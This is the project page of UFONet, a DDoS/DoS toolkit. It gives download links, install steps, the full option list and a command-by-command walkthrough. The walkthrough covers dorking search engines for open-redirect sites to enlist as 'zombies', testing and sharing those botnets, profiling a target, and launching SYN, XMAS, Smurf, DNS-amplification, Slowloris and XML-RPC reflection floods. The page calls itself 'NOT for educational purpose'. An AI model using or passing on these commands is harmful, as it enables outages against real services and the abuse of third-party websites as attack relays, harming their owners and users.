UFONet - Denial of Service Toolkit 
"oderint dum metuant"


  • [03/2019] - UFONet code (v1.3 aka [SLY] "SinguLaritY!") has been released...


Up to menu
UFONet - is a toolkit designed to launch DDoS and DoS attacks.
+ See these links for more info: - CWE-601:Open Redirect - OWASP:URL Redirector Abuse UFONet abuses OSI Layer 7-HTTP to create/manage 'zombies' and to conduct different attacks using; GET/POST, multithreading, proxies, origin spoofing methods, cache evasion techniques, etc. + [01/2018] - UFONet (v1.2 "HackRon") slides: (.pdf)
+ [12/2016] - UFONet (v0.8 "Ninja DDoS Nation") slides: (.pdf)

[!]Remember: this tool is NOT for educational purpose.

UFONet Blazar!
Usage of UFONet for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.


Up to menu
+ Source code (official):

git clone http://code.03c8.net:3000/epsylon/ufonet

-------------------------------- + Source code (mirror):

git clone https://github.com/epsylon/ufonet

-------------------------------- + Packages (latest version): - UFONet-v1.3 (.zip) (md5:3c4ae5acc0d23cc9cec425701218b5b8) - torrent - UFONet-v1.3 (.tar.gz) (md5:3ca9a099659fa13828bda8d6d798b856) - torrent -------------------------------- + Packages (previous version): - UFONet-v1.2 (.zip) (md5:c9c0f17172f031254d24b2490ac6fdd8) - torrent - UFONet-v1.2 (.tar.gz) (md5:c1ec221727b9cd2ac06a67b4c61830d0) - torrent + Packages (old versions): - UFONet-v1.1 (.zip) (md5:04a0b3439384a0d51cce72ba4a2cae82) - torrent - UFONet-v1.1 (.tar.gz) (md5:a0c7cf82ee1eb74370c3faec727b661c) - torrent - UFONet-v1.0 (.zip) (md5:a928524c167238d6a95a8a38ada5c334) - torrent - UFONet-v1.0 (.tar.gz) (md5:5b4d8d6740f22329bfe4a44f07a7f7a9) - torrent - UFONet-v1.0-1.all (.deb) (md5:fd0b125f8374fd731290657fa7e3f1b7) - UFONet-v0.9 (.zip) (md5:7540f45eb8e2d3881f8d17e9a638987a) - torrent - UFONet-v0.9 (.tar.gz) (md5:2885a332afecea3d730361557a84a9ca) - torrent - UFONet-v0.8 (.zip) (md5:da3f21a040ff5089f86f9d6f83c65138) - torrent - UFONet-v0.8 (.tar.gz) (md5:43c282660fde63a0c287e2c3a3260f76) - torrent - UFONet-v0.7 (.zip) (md5:77af04023893d71f34e12a424247a0dd) - torrent - UFONet-v0.7 (.tar.gz) (md5:5f4656a8e0a75a8483c3d425e86cca4b) - torrent - UFONet-v0.6 (.zip) (md5:f6be802f76e40b7dfd06075bfc616e39) - torrent - UFONet-v0.6 (.tar.gz) (md5:40ca8242475a72dc99c139309fe9055c) - torrent - UFONet-v0.5b (.tar.gz) (md5:775f13baefb9241142c377f8519506f7)


Up to menu
If you have problems with UFONet, try to solve them following next links: - Website FAQ section - UFONet GitHub issues
Also you can stay in touch by reporting on my "mothership" (Board provided by default) [ +Zoom ].
If nobody gets back to you, then drop me an e-mail.


Up to menu
UFONet runs on many platforms. It requires Python (>2.7.9) and the following libraries: python-pycurl - Python bindings to libcurl python-geoip - Python bindings for the GeoIP IP-to-country resolver library python-whois - Python module for retrieving WHOIS information - Python 2 python-crypto - Cryptographic algorithms and protocols for Python python-requests - elegant and simple HTTP library for Python2, built for human beings python-scapy - Packet generator/sniffer and network scanner/discovery You can automatically get all required libraries using (as root): sudo python setup.py install For manual installation on Debian-based systems (ex: Ubuntu), run: sudo apt-get install python-pycurl python-geoip python-whois sudo apt-get install python-crypto python-requests python-scapy On other systems such as: Kali, Ubuntu, ArchLinux, ParrotSec, Fedora, etc... also run: pip install geoip pip install requests pip install pycrypto pip install scapy Source libs: * Python: https://www.python.org/downloads/ * PyCurl: http://pycurl.sourceforge.net/ * PyGeoIP: https://pypi.python.org/pypi/GeoIP/ * PyWhois: https://pypi.python.org/pypi/whois * PyCrypto: https://pypi.python.org/pypi/pycrypto * PyRequests: https://pypi.python.org/pypi/requests * PyScapy: https://pypi.org/project/scapy/ * Leaflet: http://leafletjs.com/ (provided)


Up to menu
./ufonet [options] {(D)enial(OF)Fensive(S)ervice[ToolKit]}-{by_(io=psy+/03c8.net)} Options: --version show program's version number and exit -h, --help show this help message and exit -v, --verbose active verbose on requests --examples print some examples --timeline show program's code timeline --update check for latest stable version --check-tor check to see if Tor is used properly --force-ssl force usage of SSL/HTTPS requests --force-yes set 'YES' to all questions --gui start GUI (UFONet Web Interface) *Tools*: --crypter Crypt/Decrypt messages using AES256+HMAC-SHA1 --network Show info about your network (MAC, IPs) --xray=XRAY Fast port scanner (ex: --xray 'http(s)://target.com') --xray-ps=XRAYPS Set range of ports to scan (ex: --xray-ps '1-1024') *Configure Request(s)*: --proxy=PROXY Use proxy server (ex: --proxy '') --user-agent=AGENT Use another HTTP User-Agent header (default: SPOOFED) --referer=REFERER Use another HTTP Referer header (default: SPOOFED) --host=HOST Use another HTTP Host header (default: NONE) --xforw Set your HTTP X-Forwarded-For with random IP values --xclient Set your HTTP X-Client-IP with random IP values --timeout=TIMEOUT Select your timeout (default: 1) --retries=RETRIES Retries when the connection timeouts (default: 0) --threads=THREADS Max number of concurrent HTTP requests (default: 5) --delay=DELAY Delay between each HTTP request (default: 0) *Search for 'Zombies'*: --auto-search Search automatically for 'zombies' (may take time!) -s SEARCH Search from a 'dork' (ex: -s 'proxy.php?url=') --sd=DORKS Search from 'dorks' file (ex: --sd 'botnet/dorks.txt') --sn=NUM_RESULTS Set max number of results for engine (default: 10) --se=ENGINE Search engine for 'dorking' (default: StartPage) --sa Search massively using all search engines *Test Botnet*: --test-offline Fast check to discard offline bots --test-all Update ALL botnet status (may take time!) -t TEST Update 'zombies' status (ex: -t 'botnet/zombies.txt') --test-rpc Update 'reflectors' status (ex: --test-rpc) --attack-me Order 'zombies' to attack you (NAT required!) *Community*: --blackhole Create a 'blackhole' to share 'zombies' --up-to=UPIP Upload 'zombies' to IP (ex: --up-to '') --down-from=DIP Download 'zombies' from IP (ex: --down-from '') --upload-zombies Upload 'zombies' to Community server --download-zombies Download 'zombies' from Community server *Research Target*: -i INSPECT Search biggest file (ex: -i 'http(s)://target.com') -x ABDUCTION Examine webserver configuration (+CVE, +WAF detection) *Configure Attack(s)*: -a TARGET [DDoS] attack an URL (ex: -a 'http(s)://target.com') -f TARGET_LIST [DDoS] attack a list of targets (ex: -f 'targets.txt') -b PLACE Set place to attack (ex: -b '/path/big.jpg') -r ROUNDS Set number of rounds (ex: -r '1000') (default: 1) *Extra Configuration(s)*: --no-aliens Disable 'aliens' web abuse --no-droids Disable 'droids' redirectors --no-rpcs Disable 'xml-rpcs' reflectors --no-ucavs Disable 'ucavs' checkers --no-head Disable 'Is target up?' starting check --no-scan Disable 'Scan shields' round check --no-purge Disable 'Zombies purge' round check --expire=EXPIRE Set expire time for 'Zombies purge' (default: 30) *Extra Attack(s)*: --db=DBSTRESS [DDoS] 'HTTP DB' attack (ex: --db 'search.php?q=') --spray=SPRAY [DDoS] 'TCP-SYN reflection' attack (ex: --spray 100) --smurf=SMURF [DDoS] 'ICMP broadcast' attack (ex: --smurf 101) --tachyon=TACHYON [DDoS] 'DNS amplification' attack (ex: --tachyon 1000) --loic=LOIC [ DoS] 'HTTP fast' attack (ex: --loic 100) --loris=LORIS [ DoS] 'HTTP slow' attack (ex: --loris 101) --ufosyn=UFOSYN [ DoS] 'TCP-SYN flood' attack (ex: --ufosyn 100) --xmas=XMAS [ DoS] 'TCP-XMAS flood' attack (ex: --xmas 101) --nuke=NUKE [ DoS] 'TCP-STARVATION' attack (ex: --nuke 10000)


Up to menu
  • Searching for 'zombies':

UFONet can dig on different search engines results to find possible 'Open Redirect' vulnerable sites. 

A common query string should be like this:


For example, you can begin a search with:

       ./ufonet -s 'proxy.php?url='

Or providing a list of "dorks" from a file:

       ./ufonet --sd 'botnet/dorks.txt'

By default UFONet will use a search engine called 'StartPage'. But you can choose a different one:

       ./ufonet -s 'proxy.php?url=' --se 'bing'

This is the list of available search engines with last time that they were working:

        - startpage  [03/06/2019: OK!]
        - duckduckgo [03/06/2019: OK!]
        - bing       [03/06/2019: OK!]
        - yahoo      [03/06/2019: OK!]

You can also search massively using all search engines supported:

       ./ufonet -s 'proxy.php?url=' --sa 

To control how many 'zombies' recieved from the search engines reports you can use:

       ./ufonet --sd 'botnet/dorks.txt' --sa --sn 20

Or you can make the tool to search for the maximun number of results automatically (this may take time!):

       ./ufonet --auto-search

At the end of the process, you will be asked if you want to check the list retrieved to see 
if the urls are vulnerable.

       Want to check if they are valid zombies? (Y/n)

Also, you will be asked to update the list adding automatically only the 'vulnerable' web apps.

       Want to update your list? (Y/n)

If your answer is 'Y', your new 'zombies' will be appended to the file named: zombies.txt


     + with verbose:       ./ufonet -s 'proxy.php?url=' -v
     + with threads:       ./ufonet --sd 'botnet/dorks.txt' --sa --threads 100

  • Testing botnet:

UFONet can test if your 'zombies' are vulnerable and can be used for attacking tasks. 

For example, open 'botnet/zombies.txt' (or another file) and create a list of possible 'zombies'. 
Remember that urls of the 'zombies' should be like this:


After that, launch:

       ./ufonet -t 'botnet/zombies.txt'

You can test for XML-RPC Pingback vulnerability related 'zombies', with:

       ./ufonet --test-rpc

To check if your 'zombies' are still infected testing the whole botnet (this may take time!) try this:

       ./ufonet --test-all

And to check if your 'zombies' are still online run:

       ./ufonet --test-offline

Finally, you can order your 'zombies' to attack you and see how they reply to your needs using:

       ./ufonet --attack-me 

At the end of the process, you will be asked if you want to check the list retrieved to see 
if the urls are vulnerable.

       Want to check if they are valid zombies? (Y/n)

If your answer is 'Y', the file: "botnet/zombies.txt" will be updated.


     + with verbose:        ./ufonet -t 'botnet/zombies.txt' -v
     + with proxy TOR:      ./ufonet -t 'botnet/zombies.txt' --proxy=""
     + with threads:        ./ufonet -t 'botnet/zombies.txt' --threads 50

     + test whole botnet:   ./ufonet --test-all
     + test XML-RPCs:       ./ufonet --test-rpc
     + search for offlines: ./ufonet --test-offline 
     + attack yourself:     ./ufonet --attack-me

  • Inspecting a target:

UFONet can search for biggest file on your target by crawlering it:

       ./ufonet -i http://target.com

You can use this before to attack to be more effective.

       ./ufonet -a http://target.com -b "/biggest_file_on_target.xxx"



       ./ufonet -i http://target.com



        +Image found: images/wizard.jpg
	(Size: 63798 Bytes)
	+Style (.css) found: fonts.css
	(Size: 20448 Bytes)
	+Webpage (.php) found: contact.php
	(Size: 2483 Bytes)
	+Webpage (.php) found: about.php
	(Size: 1945 Bytes)
	+Webpage (.php) found: license.php
	(Size: 1996 Bytes)
	=Biggest File: http://target.com/images/wizard.jpg

  • Abducting a target:

UFONet can provide you some interesting information about your target:

       ./ufonet -x http://target.com



       ./ufonet -x https://yahoo.com



       -Target URL: https://yahoo.com 
       -IP    :
       -IPv6  : OFF
       -Port  : 443
       -Domain: yahoo.com

       -Bytes in : 550.09 KB
       -Load time: 9.10 seconds

       -Banner: ATS
       -Vía   : http/1.1 usproxy3.fp.ne1.yahoo.com (ApacheTrafficServer), 
                http/1.1 media-router-fp25.prod.media.ir2.yahoo.com (ApacheTrafficServer [cMsSf ]) 

       -WAF/IDS: FIREWALL NOT PRESENT (or not discovered yet)! ;-)


        + CVE-2017-7671 -> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7671
        + CVE-2017-5660 -> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5660

        [Info] Abduction finished... ;-)


  • Attacking a target:

UFONet can attack your target in many different ways.

For example, enter a target to attack with a number of rounds:

       ./ufonet -a http://target.com -r 10

On this example UFONet will attack the target a number of 10 times for each 'zombie'. That means that 
if you have a list of 1.000 'zombies' it will launch: 

       1.000 'zombies' x 10 rounds = 10.000 requests

If you don't put any round it will apply only 1 by default.

Additionally, you can choose a place to recharge on target's site. For example, a large image, 
a big size file or a flash movie. In some scenarios where targets doesn't use cache systems 
this will make the attack more effective.

       ./ufonet -a http://target.com -b "/images/big_size_image.jpg"


     + with verbose:     ./ufonet -a http://target.com -r 10 -v
     + with proxy TOR:   ./ufonet -a http://target.com -r 10 --proxy=""
     + with a place:     ./ufonet -a http://target.com -r 10 -b "/images/big_size_image.jpg"
     + with threads:     ./ufonet -a http://target.com -r 10 --threads 500

  • Special attacks:

You can use UFONet to stress database on target by requesting random valid strings as search queries:

     ./ufonet -a http://target.com --db "search.php?q="

Also, it exploits (by default) XML-RPC Pingback Vulnerability, generating callback requests and increasing
processing required by target.

You can test your list of 'XML-RPCs zombies' launching:

     ./ufonet --test-rpc

At same time, you can connect LOIC (with proxy support), to make a determinate number of recursive requests
directly to your target:

     ./ufonet -a http://target.com --loic 100

You can connect LORIS to make requests leave open threads on the target too, making the web server
work slower:

     ./ufonet -a http://target.com --loris 100

And you can connect UFOSYN (it requires 'root' access) to start a powerful TCP/SYN flood attack:

     sudo ./ufonet -a http://target.com --ufosyn 100

Or make a SPRAY ('root' required) attack to launch a Distributed 'Reflection' Denial of Service (DrDoS):

     sudo ./ufonet -a http://target.com --spray 100

A SMURF ('root' required) attack to send Distributed ICMP 'Broadcast' packets:

     sudo ./ufonet -a http://target.com --smurf 101

Or a XMAS ('root' required) attack that will flood your target with 'Christmas Tree' packets

     sudo ./ufonet -a http://target.com --xmas 101

A STARVATION attack ('root' required) that will knock down your target in seconds, if it does not have a
minimum level of protection:

     sudo ./ufonet -a http://target.com --nuke 10000

Or a TACHYON ('root' required) attack to perform a distributed amplification of DNS traffic:

     sudo ./ufonet -a http://target.com --tachyon 1000

All ways could be combined, so UFONet can attack DDoS and DoS, at the same time.

  • Updating:

UFONet implements an option to update the tool to the latest stable version.
This feature can be used only if you have cloned it from a git respository.
To check your version you should launch:

     ./ufonet --update

This will update the tool automatically, removing all files from your old package.

  • Generating 'Blackhole':

  UFONet has some P2P options to share/keep 'zombies' with other 'motherships'.
  * Setup web server with a folder "ufonet", this folder should be: 

    - located in /var/www/ufonet (default debian/ubuntu install)
    - owned by the user running the blackhole
    - accessible with http://your-ip/ufonet/

  * Start the blackhole with: ./ufonet --blackhole (or python2 blackhole.py)

  * Anyone wanting to connect to your server needs to set the --up-to/--down-from 
    to the ip address of your webserver...

  [!]WARNING : this *ADVANCED* function is *NOT* secure, proceed if you really want to.


   + Starting 'blackhole' server: ./ufonet --blackhole (as daemon: ./ufonet --blackhole &)




Up to menu
You can manage UFONet using a Web interface. The tool has implemented a python web server connected to the core, to provides you a more user friendly experience. To launch it, use: ./ufonet --gui This will open a tab on your default browser with all features of the tool and some 'extra' options:
Allows to read last 'news' published by a "mothership"
Allows to read last 'missions' published by a "mothership"
Allows to review statistics from your "spaceship"
Allows to send/receive messages to/from a "mothership" (a forum)
Allows to interact with a "mothership" to download/upload 'zombies'
Allows to review statistics from other "spaceships"
Allows to extract interesting information about your target
Allows to propose and join some real "wargames"


Up to menu
* [VIDEO]: UFONet v1.2 "Armageddon!"-> [PLAY!] * [VIDEO]: UFONet v1.1 "Quantum Hydra!"-> [PLAY!] * [VIDEO]: UFONet v1.0 "Tachy0n!"-> [PLAY!] * [VIDEO]: UFONet v0.9 "Blazar!"-> [PLAY!] * [VIDEO]: UFONet v0.7 "Big Crunch!"-> [PLAY!] * [VIDEO]: UFONet v0.6 "Galactic OFFensive"-> [PLAY!]
* Shell: Version [ +Zoom ]

UFONet Singularity!
* Shell: Board [ +Zoom ]

UFONet Singularity!
* Shell: GUI [ +Zoom ]

UFONet Singularity!
* GUI: Welcome [ +Zoom ]

UFONet Singularity!
* GUI: Main [ +Zoom ]

UFONet Singularity!
* GUI: Botnet [ +Zoom ]

UFONet Quantum Hydra!
* GUI: Stats [ +Zoom ]

UFONet Singularity!
* GUI: Ranking [ +Zoom ]

UFONet Singularity!
* GUI: Board [ +Zoom ]

UFONet Quantum Hydra!
* GUI: Crypto Grid Board [ +Zoom ]

UFONet Singularity!
* GUI: Grid Stats [ +Zoom ]

UFONet Singularity!
* GUI: Wargames [ +Zoom ]

UFONet Singularity!
* GUI: Attack [ +Zoom ]

UFONet Singularity!
* GUI: GlobalMap Deploying Botnet [ +Zoom ]

UFONet Big Crunch!
* GUI: GlobalMap Botnet Attack [ +Zoom ]

UFONet Big Crunch!


Up to menu
UFONet is released under the terms of the GPLv3 and is copyrighted by psy.


Up to menu
Date Size Version Alias -------------------------------------------------- 2013-06-18 7.6kB 0.1b 2013-06-22 8.3kB 0.2b 2014-09-17 12.6kB 0.3b 2014-09-27 12.8kB 0.3.1b Abduction 2014-12-16 36.3kB 0.4b Infection! 2015-05-24 59.0kB 0.5b Invasion! 2016-02-20 287.5kB 0.6 Galactic Offensive! 2016-08-18 301.9kB 0.7 Big Crunch! 2016-12-12 450.8kB 0.8 U-NATi0n! 2017-07-13 872.5kB 0.9 Blazar! 2018-03-07 947.9kB 1.0 TachYon! 2018-09-26 950.7kB 1.1 Quantum Hydra! 2018-12-31 966.9Kb 1.2 Armageddon! 2019-03-07 1.0Mb 1.3 Singularity!


Up to menu
To make donations use the following hash: - Bitcoin: 1Q63KtiLGzXiYA8XkWFPnWo7nKPWFr3nrc